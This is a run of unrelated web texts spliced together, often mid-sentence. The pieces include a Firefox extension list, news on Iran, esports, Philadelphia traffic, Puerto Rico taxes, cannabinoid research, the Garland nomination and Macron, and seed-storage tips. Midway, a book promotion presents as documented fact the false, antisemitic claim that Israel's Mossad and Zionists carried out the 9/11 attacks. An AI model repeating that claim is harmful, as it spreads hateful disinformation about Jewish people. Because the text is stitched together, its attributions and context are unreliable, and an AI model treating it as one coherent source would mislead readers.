36. Show/Hide Passwords (Toggle the visibility of passwords in password fields with a simple click.)
37. New newtab tab (Replaces the new tab page with an old Google Chrome-style one with speed dials.)
38. TabCross (Keep a tab on your favorite websites in an always accessible sidebar.)
39. PinTabAlt (Restores all the tabs that you have pinned to the tab bar, including ones that were pinned to previously closed windows.)
40. Curiyo (Look up relevant information on highlighted words on a web page without leaving it.)
41. tabPreLoader (Automatically restores all tabs from the previous session when starting Firefox.)
42. TabFlip (Flip through tabs by holding the right-click button and moving the mouse horizontally.)
43. Google Image Search (Adds Google’s reverse image search option to the right-click context menu.)
44. Redirect Bypasser (Detects and skips redirects to takes you to the final target link directly.)
45. TabStash (Lets you hide and restore opened tabs with a single click.)
46. Blocksite (Block wanted sites within a few clicks, with no complex settings or complicated UI.)
47. Copy All Links (Download all the links from highlighted text via the right-click context menu.)
48. Space Next (Loads the next page when you reach the bottom of a page and press the space bar.)
49. KilllSpinner (Prevents Firefox from loading web pages for an excessive amount of time by overriding the default load pattern of a website with a user-specified time interval.)
50. Supertab (Use Alt+Tab or Ctrl+Tab to easily switch tabs in Firefox like you do in Windows.)
Check out our other year-end best-of compilations:
150 Best Windows Software Of Year 2013
55 Best Mac OS X Apps Of 2013
172 Best Android Apps Of 2013
100 Best iPhone & iPad Apps Of 2013
40 Best Windows Phone Apps Of 2013
100 Best Google Chrome Extensions Of 2013
SUBSCRIBE TO OUR NEWSLETTERAuthored Op-Ed by Finian Cunningham via RT.com,
US President Barack Obama has given an extraordinary ultimatum to the Republican-controlled Congress, arguing that they must not block the nuclear accord with Iran. It’s either “deal or war,” he says.
In a televised nationwide address on August 5, Obama said: “Congressional rejection of this deal leaves any US administration that is absolutely committed to preventing Iran from getting a nuclear weapon with one option: another war in the Middle East. I say this not to be provocative. I am stating a fact.”
The American Congress is due to vote on whether to accept the Joint Comprehensive Plan of Action signed July 14 between Iran and the P5+1 group of world powers – the US, Britain, France, Germany, Russia and China. |
a workshop on how we can create spaces and ways of engaging with each other that listen and respect differences, and work together for change.
9pm Sexual revolution
In our final session we’ll hear from artist and activist Nor, who will discuss what sex could look like in our ideal society and whether sexual pleasure can have a political role.
The evening will end with live music and our resident Mutiny DJ Riotstar
*******************************************************************
Entry to the afternoon seminar is free.
Tickets for the evening event are £5 buy-one-get-one-free in advance online at jointhemutiny.org or £5/3 on the door.
If you attend the afternoon seminar event you will be entitled to concession price entry to the evening event (£3).
AdvertisementsStarting this month, Season 3 of the Rocket League Championship Series took off with a bang on the fourth with the open qualifiers. Over 28,000 players worldwide competed in these open qualifiers for a chance at top 8 in each region, also known as league play. League play will take place in March and April with mid-season mayhem happening April 8 (US) and April 9 (EU). May is when the North American and European championships will take place. The following month of June is when the World Champion showdown begins. It starts with eight teams qualifying for each country and comes down to two teams fighting for the title and prize.
SetToDestroyX is proud to welcome the EX-Radiance team consisting of starting players MEMORY, HALCYON and LEMONPUPPY with substitute player COLEMANA and Manager/Coach LOOMIN. When asked about signing with STDx eSports, Matt LOOMIN Layman said "we are really excited about the opportunity as a whole with SetToDestroyX. This signing provides our players the opportunity for further success, build our brands up, play with the right tools, coupled with incentive to perform at a higher level and prove to the Rocket League scene that we are not a fluke." Owner and CEO Charlie Watson added, "We have kept a keen eye on the RLCS scene since season 2 and after speaking with a few select teams after they qualified for season 3 pro league, we determined the RADIANCE squad provided an opportunity to develop, mentor and market a young, up and coming team, that has a great chance to compete and qualify in the North American Championship."
Amidst this major tournament for Rocket League, several esports organizations have hosted tournaments with prizes ranging from $20-$1000 for 3v3 based competition. ESL also holds weekly RL Cups with a $150 prize and monthly finals with a prize of $500. Aside from that, they also have 1v1, 2v2 and 3v3 open ladders. While there may be no current tournaments or ladders for RL through GameBattles, it's safe to say their active leaderboards are drawing attention to the fact there may be some up and coming things to follow. All in all, Psyonix has raked in $110mil in revenue, consistently sees well over 150,000 players online daily, and continues to pull in more than 25 million players, leaving the esports competitive scene more than enough room to continue to grow.
Rocket League Background:
Back in 2008, Psyonix released a game for Playstation 3 called Supersonic Acrobatic Rocket-Powered Battle-Cars. For many the game may have not been on the radar, but Psyonix blasted through with a sequel in 2015 for Playstation and PC called Rocket League. It was later released in 2016 for Xbox One, with ports also supposed to be open for OS X & Linux. The game is a vehicular based soccer game which requires you to score more goals, with these rocket cars, than your opponent. Though it sounds simple, players have five minutes to jump, slam and speed around their opponent while trying to get the ball in the goal. Other game modes known as'mutators' were later added that modify gravity and the size, speed and weight (or bounciness) of the ball. This month they unveiled a new gametype called 'Dropshot', which is a mode with a ball that becomes electrified upon successful moves by a team. Once the ball takes this state, a team can use it to strike hexagon tiles on the opposing teams side that will then disappear and create goals, which are absent from this map and gametype. When a team scores, the floor resets. With the growing interest in this game, it wasn't long before it gained a wave of competitive recognition in esports.
Connect with our #STDx Rocket League team
Memory - Twitter / Twitch
Halcyon - Twitter / Twitch
LemonPuppy - Twitter / Twitch
ColemanA - Twitter / Twitch
Loomin - Twitter / Twitch
Reference Links:
Rocket League Official Site - http://www.rocketleague.com
Psyonix - http://psyonix.com/
ESL NA Rocket League - https://play.eslgaming.com/rocketleague/north-america
RLCS - http://rlcs.gg
GameBattles RL - http://gamebattles.majorleaguegaming.com/xboxone/rocket-league
Written by STDx Journalist 'CattyNoir' Twitter / Wattpad
TURTLE BEACH ARE PROUD SUPPORTERS OF SetToDestroyXThe proposal is as simple as it is audacious: squeeze two lanes where an access strip sits now, between the plaza and the westbound lanes coming off of the bridge, to feed traffic towards New Jersey, and then remove the three lanes on 6th Street that wrap around the plaza today. The redesign would provide direct traffic flow to the bridge, a straight approach for trucks and allow 6th Street to go from six lanes to four – one of the lanes would still provide indirect access to the bridge, via Race and 5th Streets. With fewer lanes on 6th, signalized pedestrian crossings could be installed, and the three-lane onramp that currently loops around the plaza could be replaced with greenery.
“Our hope is to make it a more welcoming area and more connected to the fabric of the city,” said Tammy Lehigh DeMent, Associate Director of Landscape Initiatives at PHS. OLIN, which also helped redesign Dilworth Park, prepared the conceptual designs.
The project is part of the Civic Landscapes Initiative’s Vine Street project, dubbed the “Zipper”. PHS hopes to use landscaping along Vine Street to better connect the Delaware River’s waterfront with the Schuylkill. With streetscape improvements already on the way for the area between 18th and 22nd Streets, PHS only has from 18th Street down to the Ben Franklin to bridge. Logan Square provides one anchor, and the idea was originally to just beautify Monument Plaza to create another.
But, “we know if we make [the plaza] beautiful, people will want to go there,” said DeMent, and making the plaza accessible on foot requires redirecting some of the traffic.
The Delaware River Port Authority, which is responsible for Monument Plaza and the Ben Franklin Bridge, has been “very supportive” so far, said DeMent. But… “Their focus is pedestrian safety and not stopping traffic from filtering on and off the bridge.”
DeMent made it abundantly clear that PHS agreed with DRPA on the importance of pedestrian safety and maintaining traffic flows. “Our entire plan is contingent on whether or not that is feasible,” said DeMent. In this context, “feasible” would mean that it doesn’t significantly disrupt traffic getting on or off the bridge. PHS is funding a traffic study, which should be ready by mid-summer.
If the feasibility study shows minimal impact on traffic, then the next step will be seeking DRPA’s support for initial design work. That design study would also provide estimates for the proposal’s cost.
If all goes as hoped, DeMent envisions a newly enlivened Monument Plaza with enticing green space and new lighting for Bolt of Lightning.Get the biggest Daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
If you have left your bike at Bristol Temple Meads for a while - and keep putting off going to pick it up - you have just 10 days to get it back or you could lose it for good.
Any bikes abandoned at the train station are set to be removed as part of a mass bike cull next week.
The cull is aimed at tackling the issue of people using the interior bike racks on the station platform as long term storage for their cycle with the area becoming increasingly overcrowded.
The racks are a relative safe zone for bikes as they are on the other side of the ticket barriers and covered by CCTV cameras.
To execute the removal, every bike on the racks has been tagged. If a tag is still on a bike on July 24 the bike will be deemed abandoned and removed.
It is up to the owner to remove the tag by that date.
Signs have been erected on the station platform warning bike owners of the impending fate of any bikes that are left with a tag.
They read: “To create space for other cyclists all cycles have been tagged. Any cycle still tagged on 24 July 2017 will be deemed abandoned and removed.”
Culled bikes will be held in storage for 28 days and if their owners fail to claim them within that time they will be donated to Bristol-based charities.
The removal will be carried out by Network Rail in conjunction with Great Western Railway (GWR) and the British Transport Police.
The sign adds: “Please note these cycle racks are not intended for long term storage of cycles. Please do not abuse this facility as this prevents others benefitting.”The mayor of San Juan, Puerto Rico, has a message for House Republicans: Your tax bill would crush us.
"It's devastating for Puerto Rico," Mayor Carmen Yulin Cruz told CNNMoney on Tuesday. "It would kill any chance we have of putting together a plan for sustained growth that would repopulate the island."
The House GOP bill has a provision that Puerto Rican leaders say amounts to a tax on goods manufactured on the island and exported to the mainland United States.
The bill would apply a 20% excise tax to payments made by companies on the mainland to their subsidiary businesses in Puerto Rico. Companies on the island are already considered foreign corporations, even though they're operating in a U.S. territory and employing Americans.
House Ways and Means Committee Chairman Kevin Brady told reporters on Tuesday that details about how the bill would affect Puerto Rico were still being worked out.
"There are a list of options we're working through to try to arrive at the best approach," he said.
Related: U.S. general leads troops out of Puerto Rico
Puerto Rico is struggling to recover from Hurricane Maria, and only 56% of the island's power-generating capacity has been restored. That does not mean half the homes on the island have power. The Puerto Rican government does not provide statistics on how many homes have electricity.
Yulin said the timing of the tax plan couldn't be worse.
"You have to wonder, what mind thinks that imposing a tax on goods and services in a economy that's in a coma, it's going to help?" she said. "That is a mind that really does not take into account the needs of the Puerto Rican people."
People were already fleeing Puerto Rico because of an 11-year recession. Many experts say the recession was triggered when Congress killed tax breaks that Puerto Rico offered companies as an incentive to operate subsidiary businesses there.
The damage caused by Maria could exacerbate the departures. The Center for Puerto Rican Studies at Hunter College in New York estimates that as many as 213,000 Puerto Ricans will leave the island because of the hurricane.
That population decline, coupled with the potential tax bill, would make it hard to maintain the island's nearly 70,000 manufacturing jobs. Most of those jobs are in Puerto Rico's pharmaceutical industry. Leaders fear an increased tax burden, on top of the hurricane recovery problems, would cause companies to leave the island.
Related: Puerto Rico kills $300 million contract with Whitefish
Yulin and Puerto Rico Governor Ricardo Rossello don't always see eye to eye on politics, but they do share an opinion on the tax reform.
"If the purpose of this tax reform is to bring back jobs to the United States, one must emphasize that Puerto Rico is part of the United States and because of that the island can't be considered as a foreign jurisdiction," Rossello said in a statement on Monday.
Tax experts aren't sure why Puerto Rico and other U.S. territories are considered foreign countries under the tax code, even though their residents are Americans. Some surmise that the provision in the House tax bill wasn't meant to affect the island.
"Nobody thought about Puerto Rico.... It's just an accident that the issue is arising," said Steven Rosenthal, a senior fellow at the Urban-Brookings Tax Policy Center.
Related: How a month of nightmares changed Puerto Rico
Others believe lawmakers will change the language so Puerto Rico isn't hit hard.
"I don't think there's anyone in Congress that wants to crush Puerto Rico," says Cate Long, an expert on Puerto Rico's debt crisis.
Yulin, the mayor of San Juan, isn't so confident. She praised Democratic leaders like Senators Bernie Sanders and Elizabeth Warren for hearing Puerto Rico's concerns. But the tax bill has been drafted entirely by Republicans.
"The Republican leadership has said, 'We're going to change it, we're going to change it,'" Yulin said. "But it doesn't change. And there's been enough time already to time change it."
--Update: This article has been updated to explain the statistic on Puerto Rico's power-generating capacity.It has been known for some time that the extracts of the Cannabis plant, just like synthetic cannabinoids and those produced by the brain itself, join up with type 1 (CB1) cannabinoid receptors located in the nerve endings of the neurons, and inhibit the release of chemical messengers (neurotransmitters) in the communication areas between the nerve cells. The knowledge about the way cannabinoids work has been expanded in recent years when it was shown that the CB1 receptor is also located in and functions in the mitochondria of the neurons; mitochondria are the organelles responsible for producing cell energy. A new piece of research, which has been published in the online version of the journal Nature, has now gone a step further on discovering that the amnesia caused by cannabinoids needs the activation of the CB1 cannabinoid receptors located in the mitochondria of the hippocampus, the brain structure involved in memory formation.
To obtain the results of this research, led by Dr Giovanni Marsicano of the University of Bordeaux, the contribution of the following doctors was crucial: Nagore Puente, Leire Reguero, Izaskun Elezgarai and Pedro Grandes; they are neuroscientists in the Department of Neurosciences of the UPV/EHU's Faculty of Medicine and Nursing and of the Achucarro Basque Center for Neuroscience and they also participated in a previous discovery about the location and functioning of the CB1 receptor in the mitochondria. In this new piece of research, the researchers used a broad range of cutting-edge experimental techniques and saw that the genetic elimination of the CB1 receptor from the mitochondria of the hippocampus prevents memory loss, the reduction in mitochondrial movement and the decrease in neural communication induced by the cannabinoids.
This research also revealed that the amnesia caused by cannabinoids and the related cell processes are linked to an acute alteration in bioenergetic mitochondrial activity owing to the direct activation of the CB1 receptors in the mitrochondria. This activation leads to the inhibiting of the cannabinoid signalling cascade inside the mitochondria and cell respiration diminishes as a result. This reduction in cell respiration through cannabinoids is not restricted to the brain as a similar phenomenon occurs in skeletal and cardiac muscle, as has recently been published in another piece of research by the group of Dr Grandes.
"Mitochondrial malfunctioning could have serious consequences for the brain. For example, chronic mitochondrial dysfunction is involved in the pathogenesis of neurodegenerative diseases, strokes or disorders associated with ageing. However, the involvement of the acute variation in mitochondrial activity in higher brain functions, such as memory, was unknown," pointed out Dr Grandes. So this research has revealed that the CB1 cannabinoid receptors in the mitochondria regulate the memory processes by modulating mitochondrial energy metabolism.
Furthermore, although cannabinoid by-products have a well-known therapeutic potential, their use is limited by the significant adverse effects that emerge when acting on CB1 receptors, including memory loss. The results of this research suggest that "a selective intervention on specific CB1 cannabinoid receptors located in the brain in certain specific neurone compartments could be of interest with a view to developing new therapeutic tools based on the most effective and safest cannabinoids in the treatment of certain brain diseases," explained Dr Grandes. "This research is the result of 6 years' work in which 28 researchers have participated. In our case it would not have been possible without the funding received from the UPV/EHU, the Basque Government and Spanish institutions, which have placed their trust in us even during these years of tremendous cutbacks for research; this is something I recognise and which I am grateful for," concluded Pedro Grandes.
Pedro Grandes has recently been Visiting Professor at the University of Victoria, British Columbia, Canada, where he has been doing research work and teaching students of medicine and post-graduate students.
###
Bibliographical reference
Etienne Hebert-Chatelain, Tifany Desprez, Román Serrat, Luigi Bellocchio, Edgar Soria-Gomez, Arnau Busquets-Garcia, Antonio Christian Pagano Zottola, Anna Delamarre, Astrid Cannich, Peggy Vincent, Marjorie Varilh, Laurie M. Robin, Geoffrey Terral, M. Dolores García-Fernández, Michelangelo Colavita, Wilfrid Mazier Filippo Drago, Nagore Puente, Leire Reguero, Izaskun Elezgarai, Jean-William Dupuy, Daniela Cota, Maria-Luz Lopez-Rodriguez, Gabriel Barreda-Gómez, Federico Massa, Pedro Grandes, Giovanni Bénard, Giovanni Marsicano A cannabinoid link between mitochondria and memory. Nature. DOI:10.1038/nature20127President Donald Trump‘s personal attorney Marc Kasowitz, hired to represent him during the investigation of the Trump campaign’s ties to Russia, will not apply for security clearance for his work on the matter. This comes from a spokesperson for Kasowitz, who spoke to ProPublica.
According to attorneys who have served similar roles, this is a pretty unusual move. Robert Bennett, former personal attorney for President Bill Clinton, told the publication that clearance would be a necessity for this sort of thing. “No question in my mind — in order to represent President Trump in this matter you would have to get a very high level of clearance because of the allegations involving Russia,” he said.
Kasowitz’s spokesman, however, feels otherwise, saying, “No one has suggested he requires a security clearance, there has been no need for a security clearance, and we do not anticipate a need for a security clearance.” He added, “If and when a security clearance is needed, Mr. Kasowitz will apply for one with the other members of the legal team.”
But some past and present members of Kasowitz’s own firm, Kasowitz Benson Torres LLP, spoke about an issue that could prevent Kasowitz from even being able to get clearance should he seek it. Sources spoke to ProPublica about Kasowitz allegedly having a history of alcohol abuse, including a brief time in rehab in 2014-2015.
While such a history means nothing as far as his ability to effectively represent the President, it is something that is taken under consideration by security clearance guidelines. “Excessive alcohol consumption … can raise questions about an individual’s reliability and trustworthiness,” the guidelines say, adding that incidents at or away from the workplace could be disqualifying. Seeking and adhering to treatment, and the passage of time, however, are mitigating factors that could alleviate concerns.
If the reports are true though, it may be enough to keep Kasowitz from getting clearance, at least according to Sheldon Cohen, a D.C. security clearance attorney. “You probably wouldn’t get your clearance if you had serious drinking problems in the last five years,” Cohen told ProPublica.
When asked about Kasowitz’s alcohol use, the spokesman reportedly didn’t address rumors of abuse, but said the attorney has no problem drinking in moderation.
[Image via Fox screengrab]If the Leica Guy (Matthew B. Harrison) had any doubt as to the marrying potential of his wife-to-be, it surely evaporated when he saw the wedding gift she got for him: a custom made Leica ring, modeled on a lens aperture ring.
The detail is astonishing, from the Leica typeface through to lens model (50mm Noctilux-M ƒ0.95) to the depth-of-field markings on the ring's "barrel."
The ring was commissioned and made by jeweler Gaelen in British Columbia, Canada, who makes custom engagement rings for people of taste. And what did the Leica Guy buy for his lovely bride? Like, some watch or whatever.
I'm totally jealous of this ring, although I'm even more jealous of the cameras the couple packed when they flew off to Italy for their honeymoon. What did they take? A pair of M9-Ps, of course.
The Leica Guy got married [The Leica Guy via PetaPixel and Leica Rumors]Download the Book
Introduction written by Zander C. Fuerza
In this book, "Masters of Deception: Zionism, 9/11 and the War on Terror Hoax," writer Zander C. Fuerza documents a Zionist conspiracy behind the September 11, 2001, terrorist attacks in the United States. Using the most potent pieces of evidence available, the author forms a cohesive narrative demonstrating that the Israeli Mossad, with the assistance of Zionist assets in the American government, conspired to execute the 9/11 attacks as a false-flag event designed to initiate the devilish neocon dream of a "Clash of Civilizations" between the Western world and the Islamic world, for the benefit of Israel and Zionism.
The circumstances surrounding the confiscation of the Zion Crime Factory site, and the traitorous conspirators responsible for its demise, is detailed on this page: http://therealzcf.wordpress.com; Zander's new web site The author of this book can be contacted at mastersofdeception1@hotmail.com
Audio Files:
Clearing the air
Avoid the wolves(REUTERS/Las Vegas Sun/Steve Marcus)
Mitt Romney's presidential campaign continues to hit bumps with the music industry. Another band is putting the clamps on a Republican candidate playing its song at a public event.
Dee Snider, lead singer of the hair metal group Twisted Sister, told Talking Points Memo in a statement he "emphatically denounce[s]" vice presidential hopeful Paul Ryan's use of the band's 1984 song "We're Not Gonna Take It" at a Pennsylvania rally yesterday. Making light of the one-time personal trainer's rigorous workout routine, Snider added, "There is almost nothing [Ryan] stands for that I agree with except the use of the P90X."
Last week, the Romney campaign ran into a similar issue after playing the song "Panic Switch" by Silversun Pickups at an event. The band's lawyer issued a ceast-and-desist letter, even including that it would be "harmful" if the band's fans thought the group was endorsing Romney.
Rage Against the Machine guitarist (and Harvard graduate) Tom Morello took things a bit further after the vice presidential candidate named Rage among his favorite bands. The long outspoken Morello penned an op-ed for Rolling Stone on Aug. 16 in which he didn't mince words, opening by saying, "Paul Ryan's love of Rage Against the Machine is amusing, because he is the embodiment of the machine that our music has been raging against for two decades."
In addition to complaints from musicians, Romney was skewered in song for the 1983 incident in which he left the family dog strapped to the roof of the car during a road trip. Taking inspiration from that event, Devo recently released the playful tune "Don't Roof Rack Me, Bro!"
Romney's campaign quickly agreed to stop using the Silversun Pickups song and, according to Talking Points Memo, is currently reviewing Snider's request to pull Twister Sister's anthem. In the meantime, which songs do you think would be safer bets for the candidates to use?When storing your seeds, it is important to keep them in a dry and cool place. The lifespan of the seed can double for every one percent drier the seed is. One trick is to store your seeds with rice. Rice will help absorb any excess moisture. As such, it is advisable to thoroughly dry any seeds that you have harvested for the next planting season before you store them. You may also find that you have saved more seeds than you need. In this case, it is best to keep your seeds separated and dated. Use your older seeds first.
When planting your seeds, you will want to make sure they are on their side. The seeds can tell which end is up, but planting them upside down can make things more difficult for them. It is also advantageous to soak the seeds in warm water just before planting. This will increase their success rate.
It’s always a great idea to start growing your warm weather plants indoors. It helps make them stronger, as well as giving them a head start. This is especially important for places that have a shorter growing season and plants such as tomatoes that need more warmth. You will want to start growing your warm weather plant seeds about 6 weeks before planting.
I live in the Pacific Northwest and have found it advantageous to start the growing process inside. I will sometimes use a growing light, but I have found that just keeping the plants near a window works fine. I tend to keep them on my south facing windows, so that they get the most amount of light for the longest period of time. I will also put them outside during the day, and then bring them in for the night. You will want to bury your seeds at a depth of around 3-4 times the seeds length.
The first thing you want to consider when getting an early start with indoor planting is your soil. You will want a fine soil that can retain moisture. It is advantageous to spritz your soil with water every few days. Perhaps the most important thing to consider is the temperature of the soil. When you first plant your seeds, the temperature of the soil is more important than the temperature of the air.
It is also important to pay attention to the weather. When in doubt, it is best to start your indoor planting too early. Worst case scenario is that your plants will outgrow their pots. If you start your seeds to early, they may not me strong enough to handle the great outdoors, whereas large plants can be planted earlier in the season.
(info on homesteading)Tipping Tuesdays have increased awareness and recognition of Bitcoin since a Reddit user proposed starting them last month. Now the Bitcoin Giving Tuesday event has mobilized an even greater concentration of Bitcoin spending activity, breaking records and raising money for a number of charities.
At 10:30 a.m. EST, on-blockchain transactions surpassed the 103,000 mark, an all-time high for Bitcoin. The previous high-water mark reached just above 102,000 transactions, which the network hit during last year’s price bubble.
Bitcoin Giving Tuesday continues the strong retail-sales days we saw over the past weekend on Black Friday and Cyber Monday. Some of Tuesday’s primary organizers, promoters and participants include: The BitGive Foundation, Bitcoin Foundation, BitPay, Bitcoin Black Friday, Circle and ChangeTip.
Today’s event encourages the Bitcoin community to give microdonations to organizations that accept Bitcoin. Any amount is welcomed, and Bitcoin Giving Tuesday organizers emphasize that Bitcoin ensures donations will go right to the recipient organization, rather than to an intermediary processor that would take a portion of the money off the top.
“People are now empowered to give as little as $0.01 and see 100% go toward their cause,” BitGive Foundation Director Connie Gallippi said in a statement.
“Many donors don’t know that charities are charged a transaction cost for each deposit into their bank account. If a transaction fee is $0.25, then a $1 donation will equate to a 25% loss.”
Below are a few organizations accepting Bitcoin donations:
You can keep up with today’s events via social media by following the hashtag #BitcoinGivingTuesday (here’s the Twitter search) and by following the main thread at /r/Bitcoin.
Did you enjoy this article? You may also be interested in reading these ones:Obama administration legal officials thought the former president's selection of Judge Merrick Garland for the Supreme Court's vacant seat was motivated by politics, newly revealed internal emails show.
Senate Democrats fought President Trump's pick of Justice Neil Gorsuch to replace the late Justice Antonin Scalia tooth and nail, citing Republicans' obstruction of Garland's nomination as a shameless political ploy. But private emails among the lawyers and officials working in former President Barack Obama's government show that they thought Obama picked Garland because of politics — not because of Garland's legal work and philosophy.
America Rising, a conservative group that helped successfully boost Gorsuch to the high court, collected a trove of documents in preparation for a fight over Garland's nomination that never fully materialized. But more than 100 Freedom of Information Act requests America Rising submitted to federal and state government agencies produced new insight about the Obama government's view of the nominee.
The talking points circulated by the Obama White House on the day of Garland's selection included internal emails that show that Democrats wanted to sell Garland as a "meticulous jurist with a knack for building consensus" that won him "bipartisan praise." The talking points also directed the Obama Democrats to comments lauding Garland from Republicans such as Utah Sen. Orrin Hatch and Iowa Gov. Terry Branstad.
"YOU CRUSHED THIS!" wrote Denis McDonough, Obama's chief of staff, to the White House team in a " Nightly wrap email" obtained by the Washington Examiner.
"Today was a great day thanks to that work and we are already seeing progress — let's keep it up."
The talking points also pointed to complimentary comments from well-respected figures in the right-leaning legal community such as Supreme Court Chief Justice John Roberts, former Scalia law clerk Ed Whelan and Judicial Crisis Network chief counsel and policy director Carrie Severino. The Judicial Crisis Network spearheaded a multimillion-dollar effort of conservative groups to help confirm Gorsuch to the high court.
"Today, the president fulfilled his constitutional responsibility by nominating to the Supreme Court an eminently qualified American who deserves a fair hearing, and an up-or-down vote," reads one talking point.
"Garland has distinguished himself as a jurist who plays it straight and decides every case based on what the law requires. In his own words: ‘The role of the court is to apply the law to the facts of the case before it—not to legislate, not to arrogate to itself the executive power, not to hand down advisory opinions on the issues of the day,'" reads another.
The U.S. Patent and Trademark Office's top lawyers were less than enthusiastic about Garland on the day Obama named the judge to fill the Supreme Court seat.
Nicholas Oettinger, patent and trademark office senior counsel, called the Garland selection a "tactical choice" in an email to Jennifer Seifert, an associate counsel in the patent and trademark office. Oettinger told Seifert he thought it would be hard to predict "how much noise" the Garland selection would make in March 2016, months before Trump's victory over Democratic presidential nominee Hillary Clinton.
"I'd prefer someone a bit more liberal, but I'm not disappointed," Seifert replied. "Certainly a decent choice politically. I'm grabbing my popcorn for the show, for sure."
Oettinger replied to Seifert that he thought there may have been some value in Obama's picking a Supreme Court nominee without any intention of that person ever joining the high court.
"I can see the wisdom of appointing Garland now with the thought in mind that it might not happen now, but instead the choice will create pressure, and then someone who takes office in 2017 might appoint someone else for that seat (a nominee not having been put through the wringer this time)."
On the same day, news of Garland's nomination spreading at the Nuclear Regulatory Commission prompted that agency's top lawyers to focus on Garland's age.
"He's 63!" emailed Brooke Clark, director of the commission's appellate adjudication, evidently surprised, in an agency thread about the selection.
Inside the Justice Department, the U.S. Attorney's Office for the District of Columbia tepidly celebrated the selection.
"I love that [Obama] gave Republicans someone they almost can't deny — right??" emailed an official whose name was redacted. "I hope."
Wrong. Republicans did reject Garland, without holding a hearing or a vote.
But the prospect of the GOP's blockade of Garland did not stop top Democrats from celebrating the Garland selection.
Little more than one year after Garland's nomination, Gorsuch joined the high court in the seat Obama picked Garland to fill.When Hurricane Ike hit in September 2008, my family and I had only been in the Houston area for about a year. We were Northerners, and while my husband and I had both experienced earthquakes, we did not know how to adequately prepare for a storm such as the hurricane that year.
When the winds and rain became intense, I will never forget gathering my children into my bedroom and praying for safety.
The morning after the storm, we found that our prayers had been answered. No one had been injured and we had been protected that night. Our home had been spared, with no more damage than fallen tree branches, broken shingles, and leaves and twigs carpeting our yard. We were some of the lucky ones.
While we had no power for the next nine days, some friends–whose power came on sooner than ours did–took my family in.
Like our family’s experience with a hurricane, a single mother named Maylene tells her story of how she survived a tornado in the newest Mormon Message video. “After the Storm,” is a beautiful vignette that tells Maylene’s story of finding Christ during both the storms of life and the devastating tornado in Moore, Oklahoma in 2013.
“Late that night, when my kids and I were all together again, all alive and safe, I felt that no matter what happened, moving forward with God’s help, we were going to make it,” Maylene said. “My whole life I felt abandoned….After the storm, God answered my prayers. He picked up the pieces and filled that void.”
Like Maylene, because of my own life experiences, I know that our loving Savior will always be there for us, not only to protect us during devastating storms, but also to help us through the difficult storms of life.
I’m reminded of the story of Jesus calming the storm on the Sea of Galilea, when his disciples feared for their lives: “Why are ye fearful, O ye of little faith? Then he arose, and rebuked the winds and the sea; and there was a great calm” (Matthew 8:26). He could say “Peace, be still,” to the waves, “and there was a great calm (Mark 4:29). And He can speak peace to our turbulent souls, and we will feel a great inner calm. He has that power.
During our storms, He wants us to call on Him, to pray and ask. After all, in John 14:18 Jesus promised, “I will not leave you comfortless; I will come unto you.”VARNA, Bulgaria/WARSAW (Reuters) - French President Emmanuel Macron said on Friday Poland was isolating itself within the European Union and Polish citizens “deserve better” than a government at odds with the bloc’s democratic values and economic reform plans.
Macron said Warsaw, where a nationalist, eurosceptic government took office in 2015, was moving in the opposite direction to Europe on numerous issues and would not be able to dictate the path of Europe’s future. Poland rejected the accusations, saying Macron was inexperienced and arrogant.
“Europe is a region created on the basis of values, a relationship with democracy and public freedoms which Poland is today in conflict with,” Macron said in Bulgaria on the third leg of a trip to central and eastern Europe to generate support for his vision of a Europe that better protects its citizens.
He described Poland’s refusal to change its stance on a revision of the EU’s directive on “posted” workers - cheap labor from eastern countries posted temporarily to more affluent western countries - as a mistake. Macron has said the practice leads to unfair competition.
“In no way will the decision by a country that has decided to isolate itself in the workings of Europe jeopardize the finding of an ambitious compromise,” he said.
In a scathing attack that could drag relations between western EU powers and the European Commission in Brussels on one side and Poland’s Law and Justice Party (PiS) government on the other to a new low, he said the Polish people deserved better.
“Poland is not defining Europe’s future today and nor will it define the Europe of tomorrow,” Macron said at a joint press conference with Bulgarian President Rumen Radev in the Black Sea resort city of Varna.
Related Coverage Polish foreign minister: Warsaw not facing international isolation
In response, Poland’s Prime Minister Beata Szydlo said Macron, 39, a former investment banker elected in May as France’s youngest president, lacked political experience and accused him of undermining the EU.
“I advise the president that he should be more conciliatory... Perhaps his arrogant comments are a result of a lack of (political) experience,” Szydlo said in a statement emailed to Reuters.
“I advise the president that he should focus on the affairs of his own country. Perhaps he may be able to achieve the same economic results and the same level of security for (French) citizens as those guaranteed by Poland.”
Her comments were an indirect reference to her government’s insistence that it will not accept migrants from the Middle East, despite pressure from Brussels, because it believes they pose a threat to national security. France has been hit hard by deadly Islamist militant attacks in recent years.
The Polish Foreign Ministry said in a statement it had urgently summoned the French chargé d’affaires to express “the Polish government’s indignation about the arrogant words” of Macron.
It quoted Deputy Foreign Minister Marek Magierowski as saying Poland “expects that France will abandon language that is divisive and which damages the unity of the EU”.
Bulgarian Prime Minister Boyko Borissov (R) and French President Emmanuel Macron react at the end of a joint news conference at Euxinograd residence, near Varna, Bulgaria August 25, 2017. REUTERS/Stoyan Nenov |
were Jewish immigrants from Ukraine, while her mother was of Irish ancestry.[5] Louis was employed as a steelworker. Kuzma has one elder sister, Lorraine, and two younger sisters, Rachel and Grace. Her parents divorced when she was seven years old and Kuzma moved with her mother and three sisters to her great-grandmother's house.[6] Following their divorce, her father got partial custody. Around that same time, her mother enrolled at Ohio University and landed a part-time job.[7]
I never wanted to be like my mother. You know, kids at sixteen, a husband who drinks and beats you. When I hit L.A., I said 'There's gonna be some changes here.' I hated the world. I was hateful to my mother. If I came home from a date at 11:30 and my mother questioned me, I'd say, 'I was out fucking somebody!' I wasn't. I just wanted to piss my mother off. —Lords about her teenage years[4]
When she was twelve, Kuzma moved with her mother and sisters to Redondo Beach, California, along with her mother's new boyfriend. She didn't see her father for many years after. In September 1982, she began attending the Redondo Union High School in Redondo Beach, California.[8] During her early school years, Kuzma developed a rebellious attitude. She was angry at her mother and found a father figure in her mother's boyfriend. Roger Hayes, as she calls him in her autobiography, was a drug abuser and molested Kuzma in her sleep. After her mother broke up with him due to his drug use, she began dating his friend. Kuzma refused to follow them to a new place and was left with her older sister Lorraine. Her mother and two younger sisters eventually found a new apartment.[10]
1984–86: Pornography career [ edit ]
